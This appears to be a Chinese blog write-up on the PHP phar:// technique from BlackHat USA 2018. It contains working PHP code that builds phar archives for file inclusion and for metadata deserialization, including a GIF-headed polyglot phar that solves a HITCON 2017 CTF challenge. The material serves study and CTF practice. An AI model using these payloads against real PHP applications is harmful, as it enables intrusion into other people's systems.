BlackHat USA 2018中有个有趣的议题New PHP Exploitation Technique Added
关于phar协议,在这里学习一个,提高姿势
ctf中经常涉及到对php伪协议的运用,比如file://, php://等等,但是phar://却很少遇见,例如
1
2
3
4
5
6
| <?php
$file = $_GET['file'];
if (isset($file) && strtolower(substr($file, -4)) == ".jpg") {
include($file)
}
?>
|
这里是要用到phar类打包一个phar标准包
1
2
3
| <?php
$p = new PharData('./php.zip', 0,'php',Phar::ZIP) ;
$p->addFromString('php.jpg', '<?php phpinfo(); ?>');
|
运行后会生产php.zip,然后构造http://target/file.php?file=phar://php.zip/php.jpg
然后phar协议还有反序列化
做个测试
1
2
3
4
5
6
7
8
9
10
11
| <?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
|
1
2
3
4
5
6
7
| class AnyClass {
function __destruct() {
echo $this->data;
}
}
include('phar://test.phar');
|
成功被反序列化
ctf题中的例子是hitcon 2017的Baby^H Master PHP 2017
index.php
简化内容,我把题目稍微改动下
1
2
3
4
5
| class Admin extends User {
function __destruct(){
echo 'flag';
}
}
|
42行的file_get_contents
会去加载文件,但是如果文件头不是GIF89a
的话就退出,所以构造phar
1
2
3
4
5
6
7
8
9
10
| <?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>
|
这里的gif头不会影响php代码的执行,因为phar文件结构如下
生成的avatar.gif
可以看到序列化形似的Admin类,于是在die('Upload OK')
时会执行Admin类的__destruct
首先访问vps将构造好的avatar.gif
上传到个人文件夹
然后用phar协议访问个人文件夹
成功输出flag
为什么会反序列化phar文件?这时候掏出源码就是干
https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609
可以看到620行调用了php_var_unserialize
来,在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的metadata会被反序列化
分享者在ppt中分享了实战中phar造成反序列化的场景,依靠file_exists
,详情可以看ppt👇
参考资料
https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
https://blog.ripstech.com/2018/new-php-exploitation-technique/
http://php.net/manual/zh/phar.fileformat.manifestfile.php
https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017